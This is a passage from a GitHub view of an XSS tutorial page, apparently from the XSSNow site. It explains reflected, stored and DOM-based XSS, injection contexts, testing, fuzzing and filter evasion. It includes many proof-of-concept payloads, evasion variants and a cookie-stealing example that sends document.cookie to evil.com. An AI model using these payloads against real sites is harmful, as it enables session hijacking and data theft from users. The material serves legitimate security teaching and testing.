-
Notifications
You must be signed in to change notification settings - Fork 81
Expand file tree
/
Copy pathdocs.html
More file actions
1863 lines (1687 loc) · 94.2 KB
/
docs.html
File metadata and controls
1863 lines (1687 loc) · 94.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Tutorial & Documentation - Learn Cross-Site Scripting & CSP Bypass | XSSNow</title>
<meta name="description" content="Complete XSS tutorial covering Reflected, Stored, DOM-based XSS, CSP bypass techniques, WAF evasion, and prevention methods. Learn XSS exploitation from basics to advanced for bug bounty and security research.">
<!-- Open Graph Meta Tags -->
<meta property="og:title" content="XSS Tutorial - Learn Cross-Site Scripting & CSP Bypass | XSSNow">
<meta property="og:description" content="Complete XSS tutorial with CSP bypass techniques, WAF evasion, and prevention methods. From basics to advanced exploitation.">
<meta property="og:type" content="article">
<meta property="og:url" content="https://xssnow.in/docs.html">
<meta property="og:image" content="https://xssnow.in/assets/xss_now_logo.png">
<meta property="og:site_name" content="XSSNow">
<!-- Twitter Card Meta Tags -->
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="XSS Tutorial - Complete Guide | XSSNow">
<meta name="twitter:description" content="Learn XSS from basics to advanced with CSP bypass and WAF evasion techniques.">
<meta name="twitter:image" content="https://xssnow.in/assets/xss_now_logo.png">
<!-- Additional SEO -->
<meta name="keywords" content="XSS Tutorial, XSS Documentation, Cross-Site Scripting Guide, XSS Learning, How to XSS, Reflected XSS Tutorial, Stored XSS Tutorial, DOM XSS Tutorial, CSP Bypass Tutorial, WAF Bypass Guide, XSS Prevention, Web Security Education, XSS Bug Bounty Guide, OWASP XSS, XSS for Beginners, Advanced XSS Techniques">
<meta name="author" content="Sid Joshi (dr34mhacks)">
<meta name="robots" content="index, follow">
<link rel="canonical" href="https://xssnow.in/docs.html">
<!-- JSON-LD Structured Data -->
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "Complete XSS Tutorial - Cross-Site Scripting Guide",
"description": "Comprehensive guide to Cross-Site Scripting vulnerabilities, CSP bypass techniques, WAF evasion, and prevention methods.",
"url": "https://xssnow.in/docs.html",
"author": {
"@type": "Person",
"name": "Sid Joshi"
},
"publisher": {
"@type": "Organization",
"name": "XSSNow"
},
"articleSection": ["XSS Fundamentals", "Bypass Techniques", "WAF Evasion", "Prevention"],
"keywords": "XSS, Cross-Site Scripting, CSP Bypass, WAF Bypass, Security"
}
</script>
<!-- FAQ Schema for SEO -->
<script type="application/ld+json">
{
"@context": "https://schema.org",
"@type": "FAQPage",
"mainEntity": [
{
"@type": "Question",
"name": "What is Cross-Site Scripting (XSS)?",
"acceptedAnswer": {
"@type": "Answer",
"text": "Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts can steal session cookies, redirect users, modify page content, or perform actions on behalf of victims."
}
},
{
"@type": "Question",
"name": "What are the types of XSS attacks?",
"acceptedAnswer": {
"@type": "Answer",
"text": "There are three main types of XSS: Reflected XSS (non-persistent, delivered via URLs), Stored XSS (persistent, stored in databases), and DOM-based XSS (client-side, manipulates the DOM directly). Each type has different attack vectors and impact levels."
}
},
{
"@type": "Question",
"name": "How do I bypass Content Security Policy (CSP)?",
"acceptedAnswer": {
"@type": "Answer",
"text": "CSP can be bypassed through JSONP endpoints on whitelisted domains, AngularJS template injection when CDNs are allowed, script gadgets in whitelisted libraries, base tag injection when base-uri is missing, and exploiting unsafe-inline or unsafe-eval directives."
}
},
{
"@type": "Question",
"name": "How can I prevent XSS vulnerabilities?",
"acceptedAnswer": {
"@type": "Answer",
"text": "Prevent XSS by implementing input validation and sanitization, using context-aware output encoding, deploying Content Security Policy headers, using HTTPOnly and Secure cookie flags, and employing security libraries like DOMPurify for HTML sanitization."
}
},
{
"@type": "Question",
"name": "What is a WAF bypass for XSS?",
"acceptedAnswer": {
"@type": "Answer",
"text": "WAF bypass techniques involve encoding payloads (URL, HTML, Unicode), using alternative syntax (backticks instead of parentheses), case manipulation, null bytes, nested tags, and protocol-specific vectors to evade Web Application Firewall detection rules."
}
},
{
"@type": "Question",
"name": "What are JSONP endpoints used for CSP bypass?",
"acceptedAnswer": {
"@type": "Answer",
"text": "JSONP endpoints on domains like google.com, twitter.com, and various CDNs can bypass CSP because the callback parameter allows arbitrary JavaScript execution. If these domains are in your script-src, attackers can use them to execute malicious code."
}
}
]
}
</script>
<!-- Favicon -->
<link rel="icon" type="image/svg+xml" href="assets/ninja.svg">
<!-- Fonts -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;500;700&family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
<!-- Icons -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
<!-- Highlight.js for syntax highlighting -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.8.0/styles/atom-one-dark.min.css">
<!-- Styles -->
<link rel="stylesheet" href="css/styles.css">
<link rel="stylesheet" href="css/animations.css">
<link rel="stylesheet" href="css/components.css">
<link rel="stylesheet" href="css/docs.css">
<link rel="stylesheet" href="css/mobile-enhancements.css">
<link rel="stylesheet" href="css/icon-fixes.css">
<link rel="stylesheet" href="css/docs-extended.css">
<link rel="stylesheet" href="css/seo-components.css">
</head>
<body>
<!-- Matrix Background Animation -->
<div id="matrix-bg"></div>
<!-- Navigation -->
<nav class="navbar">
<div class="nav-container">
<div class="nav-brand">
<a href="index.html" style="display: flex; align-items: center; gap: 0.5rem; text-decoration: none; color: var(--neon-green);">
<i class="fas fa-user-ninja" style="color: var(--neon-green);"></i>
<span class="brand-text" style="color: var(--neon-green);">XSSNow</span>
<span class="version">v1.1</span>
</a>
</div>
<div class="nav-menu">
<a href="index.html" class="nav-link">Home</a>
<a href="payloads.html" class="nav-link">Payloads</a>
<div class="nav-dropdown">
<button class="nav-dropdown-toggle">
Tools <i class="fas fa-chevron-down"></i>
</button>
<div class="nav-dropdown-menu">
<a href="xss-payload-generator.html"><i class="fas fa-magic"></i> Payload Generator</a>
<a href="csp-evaluator.html"><i class="fas fa-shield-alt"></i> CSP Evaluator</a>
<a href="play.html"><i class="fas fa-play-circle"></i> Live DOM Viewer</a>
</div>
</div>
<a href="contributors.html" class="nav-link">Contributors</a>
<a href="docs.html" class="nav-link active">Docs</a>
</div>
<button class="mobile-menu-toggle" aria-label="Toggle mobile menu">
<span></span>
<span></span>
<span></span>
</button>
<div class="nav-actions">
<a href="https://github.com/dr34mhacks/xssnow" class="github-btn" target="_blank">
<i class="fab fa-github"></i>
<span>Fork & Contribute</span>
</a>
</div>
</div>
</nav>
<main id="main-content" class="docs-interface">
<!-- Sidebar Table of Contents -->
<div class="docs-sidebar">
<div class="sidebar-header">
<h2>📚 Documentation</h2>
<div class="reading-progress">
<div class="progress-bar" id="readingProgress"></div>
</div>
</div>
<nav class="docs-nav">
<ul class="nav-sections">
<li class="nav-section">
<a href="#introduction" class="nav-link active">
<i class="fas fa-play-circle"></i>
Introduction
</a>
</li>
<li class="nav-section">
<a href="#fundamentals" class="nav-link">
<i class="fas fa-book"></i>
XSS Fundamentals
</a>
<ul class="nav-subsections">
<li><a href="#what-is-xss">What is XSS?</a></li>
<li><a href="#types-of-xss">Types of XSS</a></li>
<li><a href="#xss-execution-contexts">Execution Contexts</a></li>
</ul>
</li>
<li class="nav-section">
<a href="#detection-techniques" class="nav-link">
<i class="fas fa-search"></i>
Detection Techniques
</a>
<ul class="nav-subsections">
<li><a href="#manual-testing">Manual Testing</a></li>
<li><a href="#automated-scanning">Automated Scanning</a></li>
<li><a href="#fuzzing-strategies">Fuzzing Strategies</a></li>
</ul>
</li>
<li class="nav-section">
<a href="#bypass-techniques" class="nav-link">
<i class="fas fa-shield-alt"></i>
Bypass Techniques
</a>
<ul class="nav-subsections">
<li><a href="#filter-evasion">Filter Evasion</a></li>
<li><a href="#waf-bypasses">WAF Bypasses</a></li>
<li><a href="#csp-bypasses">CSP Bypasses</a></li>
<li><a href="#encoding-tricks">Encoding Tricks</a></li>
<li><a href="#advanced-research">Advanced Research</a></li>
</ul>
</li>
<li class="nav-section">
<a href="#exploitation" class="nav-link">
<i class="fas fa-bug"></i>
Exploitation
</a>
<ul class="nav-subsections">
<li><a href="#session-hijacking">Session Hijacking</a></li>
<li><a href="#phishing-attacks">Phishing Attacks</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>
</li>
<li class="nav-section">
<a href="#prevention" class="nav-link">
<i class="fas fa-lock"></i>
Prevention
</a>
<ul class="nav-subsections">
<li><a href="#input-validation">Input Validation</a></li>
<li><a href="#output-encoding">Output Encoding</a></li>
<li><a href="#csp-implementation">CSP Implementation</a></li>
</ul>
</li>
<li class="nav-section">
<a href="#tools-resources" class="nav-link">
<i class="fas fa-tools"></i>
Tools & Resources
</a>
</li>
<li class="nav-section">
<a href="#references" class="nav-link">
<i class="fas fa-external-link-alt"></i>
References
</a>
</li>
</ul>
</nav>
</div>
<!-- Main Documentation Content -->
<div class="docs-content">
<!-- Introduction Section -->
<section id="introduction" class="doc-section">
<div class="section-hero">
<h1 class="section-title">
🛡️ Complete XSS Security Guide
</h1>
<p class="section-subtitle">
Master Cross-Site Scripting vulnerabilities, bypass techniques, and defense strategies
</p>
<div class="hero-animation">
<div class="animated-code-block" id="heroAnimation">
<div class="typing-demo">
<span class="typed-text" id="typedText"></span>
<span class="cursor">|</span>
</div>
</div>
</div>
</div>
<div class="content-grid">
<div class="intro-card">
<div class="card-icon">🎯</div>
<h3>Purpose</h3>
<p>This documentation provides comprehensive coverage of XSS vulnerabilities, from basic concepts to advanced exploitation techniques.</p>
</div>
<div class="intro-card">
<div class="card-icon">🔬</div>
<h3>Research-Focused</h3>
<p>Based on latest security research, bug bounty findings, and real-world penetration testing scenarios.</p>
</div>
<div class="intro-card">
<div class="card-icon">⚖️</div>
<h3>Ethical Use</h3>
<p>All techniques documented here are for educational purposes and authorized security testing only.</p>
</div>
<div class="intro-card">
<div class="card-icon">🚀</div>
<h3>Practical Focus</h3>
<p>Hands-on examples, real-world scenarios, and actionable defensive strategies for security professionals.</p>
</div>
</div>
<div class="disclaimer-box">
<h4>⚠️ Important Notice</h4>
<p><strong>Educational Purpose:</strong> This documentation is for authorized security testing and educational use only. Always obtain proper written authorization before testing any systems.</p>
</div>
</section>
<!-- XSS Fundamentals Section -->
<section id="fundamentals" class="doc-section">
<h2 class="section-title">📖 XSS Fundamentals</h2>
<div id="what-is-xss" class="subsection">
<h3>What is Cross-Site Scripting (XSS)?</h3>
<p>Cross-Site Scripting (XSS) is a type of security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When the victim loads the page, the malicious script executes in their browser, potentially allowing the attacker to:</p>
<div class="impact-grid">
<div class="impact-item">
<i class="fas fa-key"></i>
<h4>Steal Session Cookies</h4>
<p>Access authentication tokens and hijack user sessions</p>
</div>
<div class="impact-item">
<i class="fas fa-user-secret"></i>
<h4>Perform Actions as User</h4>
<p>Execute any action the user can perform on the website</p>
</div>
<div class="impact-item">
<i class="fas fa-eye"></i>
<h4>Access Sensitive Data</h4>
<p>Read private information displayed on the page</p>
</div>
<div class="impact-item">
<i class="fas fa-fish"></i>
<h4>Phishing Attacks</h4>
<p>Display fake forms to capture credentials</p>
</div>
<div class="impact-item">
<i class="fas fa-code"></i>
<h4>Malicious Redirects</h4>
<p>Redirect users to malicious websites or download malware</p>
</div>
<div class="impact-item">
<i class="fas fa-network-wired"></i>
<h4>Network Reconnaissance</h4>
<p>Scan internal networks and gather system information</p>
</div>
</div>
<div class="demo-container">
<h4>Interactive XSS Demo</h4>
<div class="xss-demo" id="xssDemo">
<div class="demo-input">
<label>Enter your name:</label>
<input type="text" id="userInput" placeholder="Try: <script>alert('XSS')</script>">
<button onclick="simulateXSS()">Submit</button>
</div>
<div class="demo-output" id="demoOutput">
Welcome! Your output will appear here...
</div>
</div>
<p class="demo-note">⚠️ This is a safe simulation - no actual XSS execution occurs</p>
</div>
</div>
<div id="types-of-xss" class="subsection">
<h3>Types of XSS Vulnerabilities</h3>
<div class="xss-types">
<div class="xss-type-card reflected">
<div class="type-header">
<h4>🔄 Reflected XSS</h4>
<span class="severity high">High Risk</span>
</div>
<p>The malicious script is reflected off the web server as part of the response. The payload is typically delivered via URL parameters or form submissions.</p>
<div class="code-example">
<div class="code-header">
<span>Vulnerable Code Example</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-html"><!-- Vulnerable PHP code -->
<h1>Welcome <?php echo $_GET['name']; ?>!</h1>
<!-- Malicious URL -->
https://example.com/welcome.php?name=<script>alert('XSS')</script></code></pre>
</div>
<div class="attack-flow">
<div class="flow-step">
<div class="step-number">1</div>
<div class="step-content">
<h5>Attacker crafts malicious URL</h5>
<p>Creates a URL with XSS payload in parameters</p>
</div>
</div>
<div class="flow-arrow">→</div>
<div class="flow-step">
<div class="step-number">2</div>
<div class="step-content">
<h5>Victim clicks malicious link</h5>
<p>Social engineering or phishing email</p>
</div>
</div>
<div class="flow-arrow">→</div>
<div class="flow-step">
<div class="step-number">3</div>
<div class="step-content">
<h5>Server reflects payload</h5>
<p>Payload included in server response</p>
</div>
</div>
<div class="flow-arrow">→</div>
<div class="flow-step">
<div class="step-number">4</div>
<div class="step-content">
<h5>Script executes in browser</h5>
<p>Malicious code runs in victim's browser</p>
</div>
</div>
</div>
</div>
<div class="xss-type-card stored">
<div class="type-header">
<h4>💾 Stored XSS</h4>
<span class="severity critical">Critical Risk</span>
</div>
<p>The malicious script is permanently stored on the target server (database, file system, etc.) and served to users when they access the affected page.</p>
<div class="code-example">
<div class="code-header">
<span>Vulnerable Comment System</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-html"><!-- Vulnerable comment display -->
<div class="comment">
<h4><?php echo $comment['author']; ?></h4>
<p><?php echo $comment['message']; ?></p>
</div>
<!-- Malicious comment payload -->
Author: <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script></code></pre>
</div>
<div class="stored-xss-timeline">
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Payload Injection</h5>
<p>Attacker submits malicious script via form</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Storage</h5>
<p>Malicious script stored in database</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Victim Access</h5>
<p>Any user visiting the page triggers XSS</p>
</div>
</div>
<div class="timeline-item">
<div class="timeline-dot"></div>
<div class="timeline-content">
<h5>Persistent Impact</h5>
<p>Affects multiple users over time</p>
</div>
</div>
</div>
</div>
<div class="xss-type-card dom-based">
<div class="type-header">
<h4>🌐 DOM-Based XSS</h4>
<span class="severity high">High Risk</span>
</div>
<p>The vulnerability exists in client-side JavaScript code. The payload modifies the DOM environment without requiring server interaction.</p>
<div class="code-example">
<div class="code-header">
<span>Vulnerable JavaScript Code</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-javascript">// Vulnerable DOM manipulation
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello ' + name;
// Malicious URL
https://example.com/page.html#<script>alert('XSS')</script></code></pre>
</div>
<div class="dom-sources-sinks">
<div class="sources-section">
<h5>🔍 Common Sources</h5>
<ul class="source-list">
<li><code>location.href</code></li>
<li><code>location.search</code></li>
<li><code>location.hash</code></li>
<li><code>document.referrer</code></li>
<li><code>window.name</code></li>
<li><code>postMessage data</code></li>
</ul>
</div>
<div class="sinks-section">
<h5>🎯 Common Sinks</h5>
<ul class="sink-list">
<li><code>innerHTML</code></li>
<li><code>outerHTML</code></li>
<li><code>document.write()</code></li>
<li><code>eval()</code></li>
<li><code>setTimeout()</code></li>
<li><code>location.href</code></li>
</ul>
</div>
</div>
</div>
</div>
</div>
<div id="xss-execution-contexts" class="subsection">
<h3>XSS Execution Contexts</h3>
<p>Understanding where your payload will be executed is crucial for crafting effective XSS attacks. Different contexts require different approaches:</p>
<div class="context-tabs">
<div class="tab-buttons">
<button class="tab-button active" onclick="showContext('html')">HTML Context</button>
<button class="tab-button" onclick="showContext('attribute')">Attribute Context</button>
<button class="tab-button" onclick="showContext('javascript')">JavaScript Context</button>
<button class="tab-button" onclick="showContext('css')">CSS Context</button>
<button class="tab-button" onclick="showContext('url')">URL Context</button>
</div>
<div class="tab-content">
<div class="context-panel active" id="html-context">
<h4>HTML Context</h4>
<p>Payload is reflected directly into HTML content:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><div>Hello $userInput</div></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code><script>alert('XSS')</script></code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><div>Hello <script>alert('XSS')</script></div></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="attribute-context">
<h4>Attribute Context</h4>
<p>Payload is reflected inside HTML attributes:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><input type="text" value="$userInput"></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>" onmouseover="alert('XSS')</code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><input type="text" value="" onmouseover="alert('XSS')"></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="javascript-context">
<h4>JavaScript Context</h4>
<p>Payload is reflected inside JavaScript code:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><script>var name = '$userInput';</script></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>';alert('XSS');//</code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><script>var name = '';alert('XSS');//';</script></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="css-context">
<h4>CSS Context</h4>
<p>Payload is reflected inside CSS styles:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><style>body { background: $userColor; }</style></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>red; } </style><script>alert('XSS')</script></code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><style>body { background: red; } </style><script>alert('XSS')</script>; }</style></code></pre>
</div>
</div>
</div>
<div class="context-panel" id="url-context">
<h4>URL Context</h4>
<p>Payload is reflected in URLs or href attributes:</p>
<div class="context-example">
<div class="example-vulnerable">
<h5>Vulnerable:</h5>
<pre><code><a href="$userURL">Click here</a></code></pre>
</div>
<div class="example-payload">
<h5>Payload:</h5>
<pre><code>javascript:alert('XSS')</code></pre>
</div>
<div class="example-result">
<h5>Result:</h5>
<pre><code><a href="javascript:alert('XSS')">Click here</a></code></pre>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Detection Techniques Section -->
<section id="detection-techniques" class="doc-section">
<h2 class="section-title">🔍 XSS Detection Techniques</h2>
<div id="manual-testing" class="subsection">
<h3>Manual Testing Strategies</h3>
<p>Manual testing remains one of the most effective ways to discover XSS vulnerabilities. Here are proven strategies:</p>
<div class="testing-methodology">
<div class="method-card">
<h4>🎯 Input Point Identification</h4>
<ul class="method-list">
<li>URL parameters (<code>?param=value</code>)</li>
<li>Form fields (text inputs, textareas, hidden fields)</li>
<li>HTTP headers (User-Agent, Referer, X-Forwarded-For)</li>
<li>File uploads (filename, metadata)</li>
<li>API endpoints and JSON data</li>
<li>Cookie values</li>
</ul>
</div>
<div class="method-card">
<h4>🧪 Basic Payload Testing</h4>
<div class="code-example">
<div class="code-header">
<span>Progressive Testing Approach</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code># 1. Start with simple HTML
<h1>test</h1>
# 2. Test script execution
<script>alert(1)</script>
# 3. Event handlers
<img src=x onerror=alert(1)>
# 4. Context breaking
"><script>alert(1)</script>
'><script>alert(1)</script>
# 5. Advanced payloads
<svg onload=alert(1)>
<iframe src=javascript:alert(1)></code></pre>
</div>
</div>
</div>
</div>
<div id="automated-scanning" class="subsection">
<h3>Automated Scanning Tools</h3>
<p>Automated scanners can help identify XSS vulnerabilities at scale, but manual testing is still essential for comprehensive coverage:</p>
<div class="tools-grid">
<div class="tool-card">
<h4>🕷️ Web Application Scanners</h4>
<ul>
<li><strong>Burp Suite Professional</strong> - Industry standard web application security testing platform</li>
<li><strong>OWASP ZAP</strong> - Free and open-source security testing proxy</li>
<li><strong>Acunetix</strong> - Commercial vulnerability scanner with advanced crawling</li>
<li><strong>Netsparker</strong> - Automated security scanner with proof-of-concept verification</li>
</ul>
</div>
<div class="tool-card">
<h4>⚡ Specialized XSS Tools</h4>
<ul>
<li><strong>XSSStrike</strong> - Advanced XSS detection suite with fuzzing capabilities</li>
<li><strong>XSSHunter</strong> - Blind XSS detection platform for stored vulnerabilities</li>
<li><strong>XSSer</strong> - Automatic XSS detection and exploitation framework</li>
<li><strong>Dalfox</strong> - Fast and powerful XSS scanner and parameter analysis tool</li>
</ul>
</div>
</div>
<div class="scanning-tips">
<h4>💡 Best Practices for Automated Scanning</h4>
<div class="tips-grid">
<div class="tip-item">
<h5>🎯 Configure Scope Properly</h5>
<p>Define clear testing boundaries and exclude production systems from aggressive scans.</p>
</div>
<div class="tip-item">
<h5>🔄 Combine Multiple Tools</h5>
<p>Different scanners have different strengths - use multiple tools for comprehensive coverage.</p>
</div>
<div class="tip-item">
<h5>👥 Manual Validation</h5>
<p>Always manually verify automated findings to reduce false positives and understand impact.</p>
</div>
<div class="tip-item">
<h5>🕒 Timing Considerations</h5>
<p>Use appropriate delays between requests to avoid overwhelming target applications.</p>
</div>
<div class="tip-item">
<h5>📝 Document Findings</h5>
<p>Maintain detailed logs of scan results and methodologies for compliance and reporting.</p>
</div>
<div class="tip-item">
<h5>🔄 Regular Updates</h5>
<p>Keep scanning tools and payloads updated to detect latest vulnerabilities and bypass techniques.</p>
</div>
</div>
</div>
</div>
<div id="fuzzing-strategies" class="subsection">
<h3>Fuzzing Strategies</h3>
<p>Fuzzing is an automated testing technique that involves sending unexpected, random, or malformed data to find XSS vulnerabilities:</p>
<div class="fuzzing-approaches">
<div class="fuzzing-method">
<h4>🎲 Random Payload Fuzzing</h4>
<p>Generate random payloads with varying characteristics:</p>
<div class="code-example">
<div class="code-header">
<span>Python Fuzzing Example</span>
<button class="copy-code" onclick="copyCode(this)">
<i class="fas fa-copy"></i>
</button>
</div>
<pre><code class="language-python"># XSS Fuzzing Script
import random
import string
class XSSFuzzer:
def __init__(self):
self.tags = ['script', 'img', 'svg', 'iframe', 'input', 'body']
self.events = ['onload', 'onerror', 'onclick', 'onmouseover']
self.payloads = ['alert(1)', 'confirm(1)', 'prompt(1)']
def generate_random_payload(self):
tag = random.choice(self.tags)
event = random.choice(self.events)
payload = random.choice(self.payloads)
return f'<{tag} {event}={payload}>'
def generate_encoded_payload(self, payload):
# URL encoding
return ''.join(f'%{ord(c):02x}' for c in payload)
def fuzz_endpoint(self, url, param):
payloads = []
for _ in range(100):
base_payload = self.generate_random_payload()
payloads.extend([
base_payload,
self.generate_encoded_payload(base_payload),
base_payload.upper(),
base_payload.replace('<', '&lt;'),
])
return payloads</code></pre>
</div>
</div>
<div class="fuzzing-method">
<h4>🧬 Mutation-Based Fuzzing</h4>
<p>Start with known working payloads and mutate them:</p>
<div class="mutation-examples">
<div class="mutation-type">
<h5>Character Insertion</h5>
<code><scri\x00pt>alert(1)</script></code>
</div>
<div class="mutation-type">
<h5>Case Randomization</h5>
<code><ScRiPt>aLeRt(1)</ScRiPt></code>
</div>
<div class="mutation-type">
<h5>Whitespace Injection</h5>
<code><script\x20>alert(1)</script></code>
</div>
<div class="mutation-type">
<h5>Comment Insertion</h5>
<code><script>/**/alert(1)</script></code>
</div>
</div>
</div>
<div class="fuzzing-method">
<h4>🎯 Context-Aware Fuzzing</h4>
<p>Tailor payloads to specific injection contexts:</p>
<div class="context-fuzzing">
<div class="context-fuzz-item">
<h5>HTML Attribute Context</h5>
<code>" autofocus onfocus=alert(1) x="</code>
<br><code>' autofocus onfocus=alert(1) x='</code>
</div>
<div class="context-fuzz-item">
<h5>JavaScript String Context</h5>
<code>';alert(1);//</code>
<br><code>';alert(1);/*</code>
</div>
<div class="context-fuzz-item">
<h5>URL Parameter Context</h5>
<code>javascript:alert(1)</code>
<br><code>data:text/html,<script>alert(1)</script></code>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Bypass Techniques Section -->
<section id="bypass-techniques" class="doc-section">
<h2 class="section-title">🛡️ Advanced Bypass Techniques</h2>
<div id="filter-evasion" class="subsection">
<h3>Filter Evasion Techniques</h3>
<div class="bypass-category">
<h4>🎭 Case Manipulation</h4>
<p>Many filters check for exact case matches and can be bypassed with case variations:</p>
<div class="code-example">
<pre><code><ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<script >alert(1)</script>
<script >alert(1)</script>
<script
>alert(1)</script></code></pre>
</div>
</div>
<div class="bypass-category">
<h4>🔤 Encoding Bypass</h4>
<p>Various encoding techniques can bypass input validation:</p>
<div class="encoding-examples">
<div class="encoding-type">
<h5>URL Encoding</h5>
<code>%3Cscript%3Ealert(1)%3C/script%3E</code>
</div>
<div class="encoding-type">
<h5>HTML Entity Encoding</h5>
<code>&lt;script&gt;alert(1)&lt;/script&gt;</code>
